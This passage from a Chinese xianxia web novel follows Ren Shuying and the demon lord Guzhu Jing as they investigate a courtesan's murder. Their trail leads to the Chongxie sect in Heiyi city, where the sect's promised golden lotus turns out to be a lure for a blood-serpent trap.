罢了,事已至此她顶着当场暴毙的风险语气几近恳求道:‘‘其实那地方还挺黑的,我…我看不清你就在外面站着,给我当个路标可以吧。’’
闻言,孤竹京目光如炬看向任舒映,与他说话的人都是这般弯来绕去,到头来不过就是想向他讨个活口,任舒映说了老半天,他只听懂了她这是怕黑呢。
见她支支吾吾,孤竹京终于动了他的金躯,异常平静的扯开她的手,‘‘还不走?’’
‘‘走走走’’任舒映喜笑颜开。
她虽然对孤竹京说的是让他在外面呆着就行,不过孤竹京还是好事做到底了,一路上都是安安静静的紧跟其后。
随后她找到了那个漆黑的小巷,环顾四周确定没有其他人后她才掐诀,召出灵力,顷刻间无数流萤在她指间汇聚,淡淡的光线照亮她的视线。
石板又滑又湿,她一步一步踩稳,走到了一个倒在麻袋上的女人旁边,看清那个女人的面貌,任舒映倒吸一口气,声音略微颤抖的唤孤竹京,
‘‘孤竹京,你快过来,这是今日那位花魁。’’
‘‘人如何了?’’孤竹京走近几步站立在任舒映身边,清冷的嗓音从她头顶传来。
‘‘探过鼻息了,好像已经死了。’’
‘‘可有什么伤口?’’
任舒映在花魁冷僵的身躯上下摸索,到了后背时手中愕然染上大片粘稠的血迹。
‘‘在背后有刀伤,并且是直接贯穿她的心脏。’’
‘‘不过刀呢?’’任舒映左右翻遍也还是没有寻到。
任舒映脸中没有丝毫慌乱,而是截然相反的神情全神贯注思考落入孤竹京眼底,他若有所思看了半响,默然沿着周边杂物扫视。
“找到了……”
任舒映不显眼处看见一个搁置在角隅的竹筐,翻出表面的杂物,一把银晃晃的小刀被拿出来。
她看清楚刀身,眉头顿然紧锁,这怎么又是……梅山剑宗的梅花纹。
“看来那暗中的人对
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你的敌意还真不小啊。”
孤竹京站在后面道。
“不会的,不是他们……是有人这样设计,目的就是让我误以为此……”任舒映心乱如麻,隐隐约约觉得事情没有怎么简单。
孤竹京问她:“你在选择相信他们,但是我不信,同样是你给他们毫不保留的信任,猜猜看,他们是否会反咬你一口呢?”
“雨下愈大了,走吧。”
孤竹京语气柔和缓迟,拎着花魁尸体带回花楼。
孤竹凭借记忆找到老鸨的房间,挥起撼刑破门而入。
意外的倒是老鸨居然这个时候还没有就寝,往隔屏人影看去,是在隔间上香,听见门破的声音老鸨像是吓破了胆,面容扭曲,嘴上不断哀求着:“你们不要杀我,我什么都不知道……放过我。”
“谁要杀你。”任舒映大步流星走去,张口历声问道。
“啊……怎么会是你们?”老鸨惊魂未定,揉揉眼睛定眼注视任舒映和身侧孤竹京。
“你们楼里的花魁呢?”
任舒映佯装不知,直问道。
“……如今夜深了,我们这的姑娘也都是人,自然也要休息,恕不接客。”
“我们有急事寻她,见一面即可,无需她接客。”
“二位公子不可,姑娘们都休息了,你们还是不便前去吧。”
老鸨见任舒映要亲自去寻花魁谢雅茹,心道焦灼,步履匆匆在门口堵住了二人。
任舒映目不斜视与老鸨对视,眸中显露出质疑的之意。
“你看起来好像很紧张。”
话音刚落,孤竹京的剑已经悬挂在老鸨项颈上,
她尚可有耐心质问,但是他不屑去听。
这个老鸨疑点重重,就在他们进入屋内就看见地面夹杂着泥土的水迹,四出燃烛明堂晃晃,以至深夜却如新添的蜡一般,还剩下一大截。
而让他更为笃定的还是让花魁始终避而不见的态度。
老鸨只发觉寒凉的剑身贴在皮肤上,似是蓄势待发。孤竹京既像是在威胁又似是警告,“你现在说出来,我可以留你多活一刻。”
她微微颤抖瞳孔骤缩,嘴中翕动半日犹豫不决,想起孤竹京提剑杀完人泰然自若从房中出来时,支支吾吾还是交代出来:
“我说……花魁雅茹是我侄辈,三年前,我与她从南夷腹地迁离躲避仇家,她今日遭到杀手刺杀,心有不安便向我提出离开此处暂避风头。”
“你既然知道,为何不如实相告?”
任舒映未说完,孤竹京冷哼道:
“我看她是狗嘴吐不出象牙。”剑身偏侧在脖子划开一道血痕。
“别杀我,是崇邪教。是他们……他们在南夷黑宜城,他们是魔修,以养小凶兽四处作乱,我们身上都有魔印,不论如何逃到天涯海角,它们都会感知到魔印循来。”
“但就是雅菇不知在何处偶得一颗避魔珠,我们才得以安然无恙,但是她说她要离开,此珠仅此一颗,她一旦离开,我就会被小魔发现,所以我故意放她走,在她必经之路埋伏设计,抢走了避魔珠。”
“所以你是为了避魔珠就把她杀了?”
言及至此,老鸨脸色大变连声反驳,“怎么可能会死,她只是被我叫的人打晕了……难道莫非是崇邪教!”
11. 崇邪(二)
“崇邪教?”任舒映重复念着,转首与孤竹京道:‘‘你先把剑放下。’’
孤竹京虽放下撼刑,又补话,‘‘把避魔珠给我。’’
只见老鸨从衣袖内缓缓取出一颗红色的金线串珠,依依不舍交出来,眼神躲躲闪闪仿佛怕孤竹京取走便再也不会还。
任舒映亦凑前看着,孤竹京嗤笑出声,语气不屑而轻蔑,‘‘雕虫小技。’’
‘‘啊?你可是看出是什么了?’’任舒映歪头,颇为不解,横看竖看到底没有看出来此珠有什么特殊之处。
对于孤竹京而言,此物就是垃圾,别说是驱魔,驱虫都没用。
至于任舒映看不出来也是正常,此珠产于魔域,修界也没有这种红珠,不过只是用来观赏的珠子,若是呈入魔宫,他还看不上,居然被这些无知的人用作驱魔。
孤竹京勾唇笑了,‘‘没事,此珠确实可以驱魔。’’
有诈,她总觉得孤竹京一旦露出这样的笑容就是有问题,孤竹京还不肯说出来,就是喜欢敷衍几句。
任舒映悄咪咪翻了个白眼。
‘‘崇邪教行同鬼魅,动机不明,但只要是被种下魔印的必死无疑,唯有避魔珠可逃脱。’’老鸨接回孤竹京还回来的红珠,小心翼翼搁于袖内,解释完后她无奈问二人:‘‘我把我知道的都告知你们了,可否放过我。’’
‘‘那是自然,我们把谢姑娘的尸体带回来了,就在外面她死于刀伤,你好好安葬吧,我们去谢姑娘的房间看看。’’
言落,老鸨眸光沉寂下来,不知是有愧于心亦是无愧于行。
任舒映思绪万千,最终唯留一声喟叹。
---
孤竹京随她入了花魁房中,见她点上蜡,好奇问:‘‘来此处作何?’’
‘‘我觉得谢姑娘她是与人通了信才出去的。’’她边说着一边往梳妆台寻去。
孤竹京跟上,‘‘通信?’’
''''对啊,你与她一起呆过一段时间,她根本无暇抽出身来筹备离开,而我们寻到她的时候,只有一个包袱,她是直至夜深才出去,会不会是有人在等她?''''
这分析到有些可能,孤竹京挑起剑眉,寻了个椅子坐着,看着她翻箱倒柜。
‘‘还没有找到吗?’’孤竹京百无聊赖,忽的想起他在处理密信时候都会烧毁,他便随口一问:''''你这个速度找下去倒不如去香炉看看还有没有灰吧。''''
任舒映双手支腰,不好气答,‘‘你是坐着说话不腰疼,既然是找东西那必然是什么地方皆有可能啊。’’
孤竹京:''''……''''
到底还是寻了个天翻地覆,依然是一无所获,她便打开香炉顶盖用一支细毫挑翻。
任舒映:''''?''''
在一张张被烧的细碎的纸张上,她还当真的瞥见一个分外眼熟的标记。
心头一急,顾不得厚厚层叠的烟灰,伸手挑了出来,借着昏黄的灯光,她看清楚纸上究竟是什么了。
一朵线描的红桃花,竟与陆英夫家那日所见的落款桃花绘制的相差无几。
‘‘孤竹京!’’她激动的跑到他身侧,把碎纸伸到面前,指着纸上栩栩如生的桃花道:‘‘你看这个!’’
她解释了一遍与叶谨辰所遇到的事,但是难以料到的还是毫无关联的两件事却频频出现相仿的桃花。
孤竹京无甚反应,觑着碎纸,嗓音闷闷的,‘‘都说让你去看看香炉。’’
‘‘那我这不是看了吗?哎,既然如此我们便即日启程去彩鸢楼与叶谨辰回合吧,’’
‘‘……不去’’孤竹京深吐一口气,反骂自己,比起现在四处奔波,窝在魔域岂不比跟着这个女人清闲么。
任舒映见他撑起脑袋颓然不动,以为他是乏了。‘‘那我们暂歇一夜,明日请你吃面可好?’’
‘‘……不要’’
这是在哄小孩呢?孤竹京越听心里越毛。
“那好,但不管怎么样,明日记得来吃面!”不知她是故意言之,走之前还留下一言:
“灵犀印在我这里,你不要跑了啊!”
孤竹京:“……”
窥听许久的撼刑见任舒映已经走远,咯咯笑着,“孤竹京你不要惯着她啊,女人就是恃宠而骄,她凭什么敢这般命令你?咱们就是说连夜逃走她也不敢拿我们怎么样的。”
孤竹京隐隐压着怒气,看撼刑剑柄上银白如丝的剑穗,语声寒凉,“逃什么?我不惧她。”
说罢,孤竹京用灵力封住剑灵的嘴,起身离开。
撼刑:“……”
看你是逃不出了。
——
次日孤竹京还是随任舒映去了南夷黑宜城。
他所见到的驱魔珠虽是常见,但也需要魔域中心贡送到四处,他怀疑崇邪教与魔域有私下交易,闲来无事,那便查查手下的人日日在做些什么交易。
黑宜城与寻常地方不大相同,越接近此城会愈加热,在城中有一座天热形成的火炎山。
逾距已近,渐渐发现脚下的泥土变为赤色,仰视天穹,团团簇簇的红云拥在一起,仿佛整片天都被烧成火海,赤光长存,炙赫亘天,附近的飞鸟皆不敢再前进。
黑夜到白昼,日月轮替,黑宜城一直都沉寂于云团下,让人感到莫名的害怕与压抑。
任舒映蹭孤竹京的剑,直达黑宜城。
但是她已经被热的头晕脑胀,脸色苍白。
“孤…孤竹京你真的不热吗……呕唔……”
任舒映还没有说完,胃里又是一阵翻江倒海。
孤竹京一惊,眉头紧锁对她道:“快到了,你别吐!”
撼刑登时加快速度,
“……”
要是她敢把秽物吐到剑上,他可以立马把人丢下去,再把撼刑融了重铸。
又是一盏茶时间。
任舒映强捂着嘴,扯着孤竹京催促他落地。
任舒映一落地,便扶着一棵树开始吐起来。
一路下来,任舒映似乎颇为闷热,脸颊两侧淡淡的红晕,脑袋昏沉,眼冒金星。
“……你还可以坚持吗?”孤竹京瞟了一眼,见她奄奄一息,马上就要归西的预感。
任舒映翕动毫无血色的唇,无力一笑,“…尚可,我还可以坚持到医馆”
“行,那赶快入城。”
孤竹京不再耽搁,这一路进城没有严密的守卫,城内百姓俨然一副安居乐业,政通人和之象。
忽然任舒映不知
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看见什么东西往她脚下窜去,她低呼一声,脚下一软,一头就要栽倒再地。
孤竹京眼疾手快,不得已扣着她的腰往自己身边揽回。
任舒映只觉得一阵天旋地转,一头撞到他坚硬宽阔的胸膛,恍惚间一种熟悉的味道萦绕在她的鼻尖。
虽是一息而过,但是她借这孤竹京力气站稳时还是愣在原地。
这个味道在她许久许久之前好像闻到过,但是她越往记忆深处探寻她对这个味道的记忆就越来越模糊。
仿佛是自己的记忆在刻意不让她想起。
不对,她隐隐约约觉得是在魔族夜袭渺梦山之时她莫名缺少的一段记忆有关,她不确定这个记忆被洗去是否与谁有关系,但在她看到在忘记那断记忆后,是有人希望她在面对渺梦山众弟子的质问时只能茫然又无奈的回答‘‘不记得’’三字。
渺梦山……所有的疑点都在指向此处,是她最不想相信的家。
在渺梦山,师徒和睦,弟子之间情同手足,相互携持。她多不希望有人在为了她,在用渺梦山下一个巨大的棋局,而这个局的弃子是她。
待任舒映眸中渐渐雾霾消散,恢复清明,孤竹京自然的放开手问:‘‘你是不是要晕了?’’
''''没事,再坚持一会,我可以。''''
孤竹京其实观察到她神情有异样,但是也没有多问,或许是她身体不适心绪不宁吧,当务之急还是的要先寻到医馆才是。
孤竹京见附近有一个十来岁孩童坐在偏僻角隅四处张望,一会目光落定在卖着糖铺的方向,一会又频频看向花糕摊。
他便随着视线走去,语气难得罕见的柔和,‘‘小孩,给你灵石,你告诉我哪有医馆可好?’’
孩童扬起脑袋,目光清澈的看着孤竹京犹豫不决。
‘‘你先拿着吧,看见我后面那位姐姐了吗?她得了重病,需要医师看看。’’
小孩顺着孤竹京指着的方向,看见任舒映神色恹恹躲在凉棚下用手呼呼的扇风。
若有所思的蠕动嘴巴,‘‘你们不要去医馆,里面都是崇邪教的坏人,他们会要好多好多的医药钱,给不起的话会被抓去里面当祭品。’’
‘‘里面?’’孤竹京从袖内掏出随手拿的魔域贡上来的小玩意,放在孩子手中又问:‘‘里面为何要人当祭品?’’
小孩小心翼翼收好,边思索,边答:‘‘阿爹说里面养了一头魔物,凶悍无比,要是得罪了崇邪教他们就会下魔印,被他们抓走。西郊有一个乐坊,坊主其实是个医师你们不如去看看吧。’’
孤竹京轻笑,‘‘好。’’
任舒映终于等到孤竹京打探消息回来,她即刻先说自己听到的传闻,‘‘崇邪教内养了一处灵田,据说种植的就是金炽莲,对了,崇邪教每至夜深都会出来游街,城内白日永远都是因为天上有个烈火烧灼的云,让天象似赤日看不出准确的时间,但是她可以估摸着如今正值日落西山。’’
孤竹京亦简单的把那个小孩的话转述出来,
‘‘行,事不宜迟我们先去乐坊稳定一下我的情况,再寻个机会潜入崇邪教。’’
孤竹京只是淡然的从喉咙‘‘嗯’’了一声,心思却不在于此,他沉下心开始盘算着一些事。
12. 崇邪(三)
乐坊坐落于西郊民居区,据说乐坊原来是一家普通的铺子,生意一直不热络,可是铺子老板就在前几日忽然失踪,附近的居户皆认定是城中那心术不正的崇邪一教所为,不过还是忌讳着这些人,便心照不宣没人敢打那个空铺子的主意。
但就在近日,一个年纪轻轻的公子接手了那间铺子,把那铺子改名换姓修缮成双层坊间,四处收留那些付不起医药费的穷苦人到乐坊。随之收购许多乐器,教那些穷人如何奏乐,以代行医药费。
虽然说如此行径于外人而观属实是过于荒谬,毕竟抚琴拨弦此等雅事在普通街坊就是稀罕,还要要求那些连乐坊都没有去过几次的去学未免牵强了些。
任舒映好奇寻去,在西郊民居区最深处,此处几乎都为民舍,从上坡俯视屋宇密密层层,行至路道,不了摩肩撞肘,烟尘飘扬,房屋单墙作隔,观时门面鳞次栉比,拥拥挤挤,行人若是多了甚至可能会堵塞不泄。
任舒映到了乐坊时,大门紧闭,隔门附耳倾听,也丝毫无动静。
她若有所思看了头顶上牌匾题着的‘‘寻一音坊’’,陷入深思。
门内无人作答,已有可能是出去了。如果要等她觉得于此等着许是不必过久,毕竟入夜外头也不安稳。
她正要同孤竹京说在此候到一炷香时间,若是还未回他们便寻附近可借宿的地方,明日再来拜访,
孤竹京却比她率先启口:‘‘你在此等着,若是等不到人就自己寻住处。’’
‘‘你呢?’’怎么听他这话是有另行安排,任舒映欲要问他要作何,孤竹京话下中明显已有不打算告知她之意,
‘‘你只管做你自己的,今夜我不随你同行,剑你且收着。’’
‘‘好。’’听罢任舒映忽地不想知道孤竹京要去做什么,与她没关系就是了,她接过孤竹京给的剑,人便一溜烟消失在的街道内。
--
任舒映在门口一直等着总觉得过于显眼,遂至旁边居户的主人闲谈起来,
‘‘姑娘你在等那乐坊的音师可能还要在过会,他这个时候一般就在西郊,不过是在别人家中探病。’’
‘‘多谢,没事若是要我等到深夜亦无妨。’’
与她谈话的是一个在家带娃的母亲,正好出来时看见任舒映倚靠在他家门口的老树下,以为是有何事,困惑间走去,才知道是在等寻一音乐坊的音师,
‘‘姑娘你胆子倒是不小,不过该走还是赶紧离开罢,夜里外面的确频频有杂乱的脚步来回游荡,那乐坊原主就极可能是夜里头失踪的。’’
任舒映一向不畏魔鬼之说,但是她还是轻笑对那妇人道:‘‘观这所闻,确实还是改谨慎一些。’’
‘‘……哎哎,音师回来了,在那快去寻他吧。’’任舒映话落,妇人指向街口卖布匹的拐角处,动唇提醒。
‘‘…?’’任舒映还只是远远的投视去,不料这音师出乎她意料。、
音师一身简洁的素衫,木簪束发,背上一个鼓囊包袱,眉目一派文雅之气,让她一眼便识出,
这不就是鄄城少主乙寻屏。
她还以为乙寻屏那时不过是好玩心性,所以便在未走远的时候她想让乙寻屏原路折返,更不仅仅是因为他是一城少主,还有一府关心牵挂他的家人。
而她可以毫无牵挂行事不计后果,她并不想再拖累那些本来就不亏钱她的人。
但是他还是来到这里,行医济世。
任舒映想了许久,脚下迟迟未动,直至乙寻屏注意到她,任舒映才心情复杂走去。
‘‘任姑娘,果真是你。’’
‘‘乙少主,’’任舒映看着衣着粗布素衫的乙寻屏,顿时心中懊恼,她可能真不该轻视他,乙寻屏在她印象中所了解的娇生惯养的少主确实有些差异。
她笑着道:“我以为你回去了。”
话落乙寻屏眉眼忽的划过一丝无奈,但总归没有怪罪任舒映那日弃他而去。
“……此事说来话长,但亦有我的过错没有顾及到你的病情,任姑娘你先随我来。”
即到乐坊内乙寻屏才徐徐解释起来,‘‘当日你离开后,我便有些后悔,我打算去去寻你不料出了意外……’’
他一边回忆,边取出茶杯。又斟了一杯茶放在任舒映面前,‘‘我一路打听到黑宜城的传闻,马不停蹄赶去但是暗中有人在我的必经之路上埋伏,似是不让我前去,他们下手狠绝,千方百计的欲要取我的性命。’’
‘‘我虽然安然在黑宜城落脚,但是犹如困兽,虽进难出。刺杀我的人一直在城外他们不知为何迟迟不敢前来。’’
任舒映接过茶杯神思不在于此,看起来心事重重,捧在手中许久未动。
又是刺杀。
如今她只要听到关于刺杀,她的心绪便难以安定下来。
‘‘你对那群人可有何印象?’’任舒映追问道。
‘‘我与他们交手过一次,是修界剑修,剑器上雕刻有精致的花纹,不过我没有看清楚。’’
乙寻屏正说着,任舒映忽然从随身携带的囊袋取出一张纸,铺在桌面,手指着纸上的花纹问:‘‘可是这个?’’
纸上画的是花魁谢姑娘死后落下的剑器上的梅花,乙寻屏看了几眼很快确认,‘‘就是这个,我是在剑身上看见的。只要知道剑出自何处就可以知道是谁在各位使绊子了。’’
任舒映却不以为然,她虽然知道并未是有意偏袒渺梦山,而是渺梦山的梅花纹剑器频频重新,让她觉得这是刻意为之,只是小小的障眼法罢了。
她思忖须臾最终还是解释道:
“此剑出自我原来的师门,但我可以担保绝对不是有意针对你,师门一向光明磊落,断然不会对无辜之人有所意图。可能我们接触过多,被他们盯上来,抱歉是我牵连了你。”
乙寻屏虽然不知道任舒映与他们之间有何过节,但是他为人处世,最是重情重义,既然选择都已经被盯上,那还有什么可怕,兵来将挡水来土掩。
‘‘任姑娘,你不必如此,我乙寻屏从小惹的事不计其数,也不畏他们,我虽然是个音修,但也并非随便一个剑修都可以拿捏我。’’说罢他念一想,‘‘对了,你是怎么寻到此处呢?’
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任舒映见他没有过于在意她的牵连才回答:‘‘是这样的,我在此处一直身体不适,在此四处寻才寻至此处。’’
‘‘原来如此,那看来你已经听说崇邪一派高价收医药费的行事作风了。’’
可话虽到这,任舒映不知何时在毫无察觉下竟适应了黑宜城的气温。
她把自己的病状说出来后,乙寻屏面犯难色,深思熟虑片刻还是没有个定论,‘‘你这个情况,可能与你修行的灵术有关,你可以自行调节平衡,但是我尚未清楚你具体修习的灵术。’’
乙寻屏遂问了一嘴具体修习的为何灵术,她虽答的是与叩雪剑一脉相承凝冰术,但是隐隐约约觉得可能还是与那蛰伏月余的雪鲛蛊有关。
雪鲛蛊虽然会毒发,但是她在中蛊至今还出未有什么不适,即使如今尚是安然,终究还是祸患,下回还是得向孤竹京问清楚此蛊究竟有何影响才行。
乙寻屏见她眉头紧锁,垂眸出神便安慰道:‘‘你先不必担忧,黑宜城已有金炽莲踪迹,我们只需要挑一个夜深人静的机会取出便是。’’
这话倒是提醒到她,‘‘你是可有何计划吗?’’
乙寻屏忽地露出神秘的笑意,‘‘今日我拜访了黑宜城城主,他虽已经被崇邪派控制,但是给了我一个消息。’’
‘‘说来一听。’’任舒映不禁好奇凑前一问。
‘‘今夜崇邪派的人要将收集好的祭品带去城中心的火炎山,届时内部防卫的人就会少。’’
‘‘…所以你是要准备今夜去?’’任舒映觉得不妥,毕竟还没有摸清楚内部地形,若是贸然前去不仅会迷路,还会打草惊蛇。
‘‘哎你先听我说,我并非是突发奇想,崇邪派老巢本来是黑宜城城主的居所,他们鸠占鹊巢,但是经过我多次拜访城主已经求得到崇邪派老巢的地形图了。’’
‘‘虽然是有地形图,此一时彼一时,尚不能确定具体方位。’’
‘‘我们的目的就是取到金炽莲,灵田就在他们祭祀坛南侧绵延的火江渠,灵田植丛浓密,也都是稀世名贵药材他们应该不会都除毁,也方便用来躲蔽。’’
‘‘……’’
任舒映真的要夸赞他了,虽然他说的想法事无巨细,但是只要一个意外就可以让他功亏一篑。
见状他一副胸有成竹,胜券在握的神色,她还是咽下腹中的话语,不忍心一语打击他的自信心。
‘‘哎,你怎么不说话啊,此法可行吧。我把地图给你,你先记记路。’’
其实任舒映是想要婉拒的,一来一介剑修没有剑,二来她冰葵毒未完全解,可能会出现灵力堵滞的情况。
她蓦然脑补到要是真的失败被发现,还没有灵力,需要肉搏的场景那该又多刺激啊。
但是这未尝不是一个机会。
乙寻屏好在也顾及到她现在的情况,把唯一的一张上品瞬息符给了她,加之孤竹京的剑,剑虽然不是自己的,但是尚可一用,紧接着乙寻屏复叮嘱道若是她招架不住了就用符逃跑。
任舒映连连叹息,此行非去不可了。
13. 魔域主(一)
崇邪殿。
‘‘都把人给我看好了,少一个人你们就补一个上去。’’为首的蒙面头目站在高堂上,语气严肃冰冷对着其余蒙面人大喊。
堂下皆是近日失踪的普通百姓,且大多都是老弱病残,他们所有人的脸上都带着淡淡的死寂与恐慌。兴许是在此处带了有一段时间了,早已经知道自己就是那个待人宰割的羊。
蒙面头目见人都差不多都带过来了,便开口发号施令,‘‘你们几个,都把人带去祭祀法坛。剩下的人留下了,我要分配你们明日游街的队伍。’’
说罢,堂下无人回应,但都有条不紊的默然行动起来,留下的蒙面人则汇集在一起。
少顷,及人都离开,蒙面头目才启口。
这时殿外的忽的狂风涌动,排排对列的青烛似是不安的跳动。
蒙面头目一顿,狐疑的瞥向门外。
树上的枯叶子漫天彻地的飞扬,一个修长的黑色身影逆着皎洁的月光伫立在外。
‘‘何人在外?’’
孤竹京未作答,噙着一抹邪气而诡异的笑意,迎面而入。
殿内的人无不愕然的看着他,随即孤竹京释放出灵海蕴存的魔息,殿内气氛骤降。
魔气源源不断的由内自外散发出来,所有的人心中大骇,不禁做出警惕之势。
‘‘你是何人?’’蒙面头目瞳孔紧缩,目光聚焦到孤竹京的脸庞上,心头不禁泛起一阵寒凉。
‘‘你是崇邪的教主?’’孤竹京斜睨着对方,话语间尽是漫不经心的随口一问。
周围的蒙面人面面相觑,在打量着孤竹京的同时亦在权衡是否要动手。
此人既然敢孤身前来,定然是不畏惧他们。更为古怪的是孤竹京身上有浓郁的魔气,此人极为凶险!
众人沉默对视片刻,暗暗交换会意的眼神。
蒙面头目道:‘‘我就是,你要如何?’’
‘‘金炽莲,在何处?’’
蒙面头目顿时了然随之冷笑一声,‘‘你是要此物?行啊,随我来。’’
此人实力深不可测,既然想要那便成全他,灵田设有法阵就看他有没有命拿了。
言及至此,蒙面人纷纷提步跟随。
于最尾处的蒙面人稍作迟缓,不动声色的抬头撇了一眼孤竹京,寒光照射在他俊美的脸庞,蒙面人眸光暗沉,眉峰不可察觉的紧拧。
但真是他。
叶谨辰目光停留一瞬,便紧跟其后。
他如今可以笃定,孤竹京可以在他的阵法下全身而退,是隐藏魔气。
但是困惑一直萦绕在心头,他又是如何把如此浓郁的魔气收敛的滴水不漏?
--
夜幕四合,崇邪殿外,两个身影忽然从一处低矮的杂草花圃跳出,空旷的小道再无他人,唯有凉凉袭风。
‘‘任姑娘,你看这暗道如何?’’乙寻屏勾唇打量任舒映,看起来颇为满意他所筹备的路线。
‘‘尚可。’’任舒映简言答。
不过这个路走的未免有些艰难,爬过一堵高墙,还要钻过一个狭小的狗洞。
她抬步举目望去,房屋破败,草木荒凉。原来他是绕过人多的地方,从这是个荒废的院子走,亦可以避免与崇邪派的人有不必要的过多碰面。
‘‘现如今到哪个位置了?’’
乙寻屏在怀中摸索须臾,把地形图展开一看,点点头,‘‘快了快了,咱们再往南方走个九百步爬过一道石墙,再钻过一个狗洞便抵达灵田。’’
‘‘…那就继续吧。’’虽然她不想钻狗洞爬墙,但是又不能肯定在此处用了灵力会不会被发现,也只好这般谨慎行事。
……
两人翻过最后一堵墙,任舒映正要俯身爬洞时,脑内蓦然闪过一个片段,顿时觉得有一丝怪异。
‘‘嗯?怎么不走了?’’乙寻屏投来不解的目光。
任舒映蹲在洞口,徒手抓起一把地上的土,借着微弱的月光,她喃喃道:‘‘奇怪啊,这个泥土似乎有些不对…’’
‘‘怎么了’’乙寻屏好奇凑前。
‘‘这个土色是正常的,但是外面的土,赤红焦黑。’’
‘‘那你有什么头绪吗?’’
任舒映吐出一口气,斜睨着不好气道:‘‘我要是知晓,还会在这里觉得奇怪。’’
‘‘啊,哦哦,那要不还是先进去把路探清楚吧。’’他讪讪的打量任舒映手中土,话音低落下来。
任舒映把土倒在地面拍干净手掌,随后爽快答:‘‘走。’’
她只是在遇到疑点停留回忆,想来这土,还得两边对比才可以清楚是何缘由。
--
孤竹京已经随着蒙面头目到达火江渠灵田。
但可惜,这个灵田与他所想的倒是不一样。抬眸扫视灵田血红而浓稠的涌动,踏步靠近灵田,便感受到一阵热腾腾的暖流直冲面门。
‘‘金炽莲呢?’’
孤竹京负首而立,身后的人都在虎视眈眈看着他的背影,皆不动声色的握紧手中的剑器蓄势待发。
‘‘这位道友,你可能还不知道我们这的规矩,要想得到金炽莲,还得配上一条命!’’
蒙面头目话音刚落,全部人皆如同围捕的凶兽,顷刻间举剑直往孤竹京的胸口刺去——
就在剑距离他仅剩一臂时,
孤竹京依旧是纹丝不动,眸中微微闪烁,眉宇间散发出嗜血的杀气,魔气四溢,在最后一刻爆发。
所有人还未来得及反应过来,从他身上爆发出来的魔气犹如巨大的毒蛇死死的缠在他们的颈脖,
随即周围发出骇人的惨叫声,手上的剑器‘‘铿铿’’纷纷掉落在地面。
面状痛苦万分,似是在承受着难以忍受的痛苦。孤竹京眸光流转,定在叶谨辰身上,二人无声的对视,莞尔他不知想到什么,还是放过了叶谨辰。
蒙面头目见状心下大乱不免惊恐的盯着他,结结巴巴地道:‘‘你你究竟在用什么妖术。’’
孤竹京勾唇冷笑,转首扫视答非所问道:‘‘一二三……九个,九条命够了吗?’’
蒙面头目却警惕是看着孤竹京死死的咬紧牙关,沉默不语。
‘‘不说么。’’孤竹京百无聊赖,耐心用尽。
‘‘那就十条命吧。’’
见孤竹京欲下死手,叶谨辰忽然拦下来,大喊‘‘等等,手下留命!’’
‘‘怎么,你是要以命抵命?’’孤竹京对方看着走前来,语气中既带有戏谑,又似真又此想法。
叶谨辰面色平静,解释道:‘‘我来此就是在查陆英丢失孩子一事,望你留他
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一命,我还需要亲自审问。’’
孤竹京沉默一瞬,想起来那个女人对此事也是颇为上心,不对。
想她做什么,倒是差点忘了南夷流通避魔珠一事。
……也罢,杀他,还脏了他的手。
‘‘…随便。’’
还以为孤竹京可能不管他定要雷厉风行杀之后快,没想到如此就答应了,叶谨辰诧异之下,还是眉目松动道了谢。
蒙面头目显然不知道叶谨辰为何会混在他的手下里面,以为是那个可怕的男人与叶谨辰是一伙的,对着迎面走来的叶谨辰道:
“你们要金炽莲,我实话实说罢,此物不过就是噱头,为的就是来吸引你们这些有所意图的人。”
“所以根本就没有金炽莲?”
叶谨辰问。
“对啊哈哈哈哈哈哈哈哈哈哈……你们都上当了哈哈哈哈……”
蒙面头目忽然狂笑不止,面目狰狞,余留的眸光瞥向灵田内乍然翻腾的火海。
他一直在沉默的拖延时间,好在阵法终于启动了。
叶谨辰微怔,蒙面头目抬手掐诀,灵力在他指间积蓄,星星点点的光芒散发。口中念叨他听不懂的咒语。
“你们,就准备等着在这里葬身为血蛟的腹中之食吧!哈哈哈……”
音落,蒙面头目手中的灵力骤然炸出巨大火花,烟灰未散,人已凭空消失,毫无可寻之迹。
叶谨辰眉头紧锁,目光凌厉的注视灵田里的动静,随后召唤出一个金属光泽的八角罗盘。
这是阵修的寻阵盘。
叶谨辰稍作沉思,待寻阵盘稳定下来再次启口。
“阵眼在灵田内。”
灵田表面氤氲着灼热的雾气,靠近都难,若是要破阵,并非轻而易举之事。
孤竹京始终未言一语。
火啊,他最是不惧。
他稳步向灵田走去,魔气亦随之蔓延——
一只半丈又余的蛇躯一跃而起,溅落下来的火星将四处的草丛烧焦。
孤竹京的魔气阻隔起来,安然无恙的继续行去。
此血蛟他曾魔域渊谷谷底见过,此乃地脉岩熔妖兽,生性爆虐,也极为聪慧,可通人语,不料此处也有。
血蛟落回灵田,略微好奇遂探头探脑,观孤竹京不惧它,它便瞪大了冥灯般的双目,张开血盆大口,凛然的尖锐獠牙尽露。
“你的鳞片倒是不错,不如都拔下来,给我制作护甲吧?”
言罢,血蛟顿时暴怒,喉咙眼拖出长长的啸鸣。
这不知死活的修士,居然敢对吾口出狂言!!
吾定让你生不如死!!
血蛟口中吐出熊熊烈火,叶谨辰一惊,唯见耀眼的红光映在他的脸庞上。
孤竹京扯起嘴角,身形岿然不动,眸中反射的火光仿佛成为他对杀戮的期待。
“喀喀喀……?”
血蛟被猛的呛了一口。
魔气把它吐出来的火包裹起来,原封不动的堵回到嗓子眼里。
——
“终于到灵田了……”乙寻屏还没有说完,任舒映手中的剑突然拖手而出,不受控制的往一个方向疾驰。
“快走!跟着撼刑!”
任舒映敏锐察觉到撼刑的异常,随后对乙寻屏留下一语,便紧追剑尾。
14. 魔域主(二)
撼刑一路上都颇为无聊,孤竹京让它跟着任舒映它认了,但是也没有什么危险。
但是孤竹京的魔气它还是辨别的出来,索性快到目的地再去寻他就是了。
可刚到灵田附近,它居然不受控制的被一个奇怪的强大吸力带去。
瞬息之间,它回到来孤竹京手上。
撼刑:“……”
任舒映疾步追寻,只见孤竹京手握撼刑剑,直指灵田里那脑袋庞大妖兽的面首。
不对,不是妖兽,任舒映心中一凛,抬眸看向那蛇嘴,魔气正是从它口中源源不断溢流。
凡世地界,怎会有这般大的魔兽?
任舒映本就通万物生灵之语,观那赤红魔兽,嘶吼喧天,身躯摆动,火池涟漪荡漾不止,便以为是要与孤竹京交手。
谁知,它居然在破口大骂:“该死的修士!到底在耍什么阴招……咳咳……居然敢在吾口中塞东西!”
任舒映微怔,走前道:“叶道师,你怎么也在这里?”
“此事说来话长,我们现在被困于一个阵法中,当务之急是先破阵。”
叶谨辰看着孤竹京瞬间消失的魔气,眉峰微挑,十分识趣的没有过多说话。
